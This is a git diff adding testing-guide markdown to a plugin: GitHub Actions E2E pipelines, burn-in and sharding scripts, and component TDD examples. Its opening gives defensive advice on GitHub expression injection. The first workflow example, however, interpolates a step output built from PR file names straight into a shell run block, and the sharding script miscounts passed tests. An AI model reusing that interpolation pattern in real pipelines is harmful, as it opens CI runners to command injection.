+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
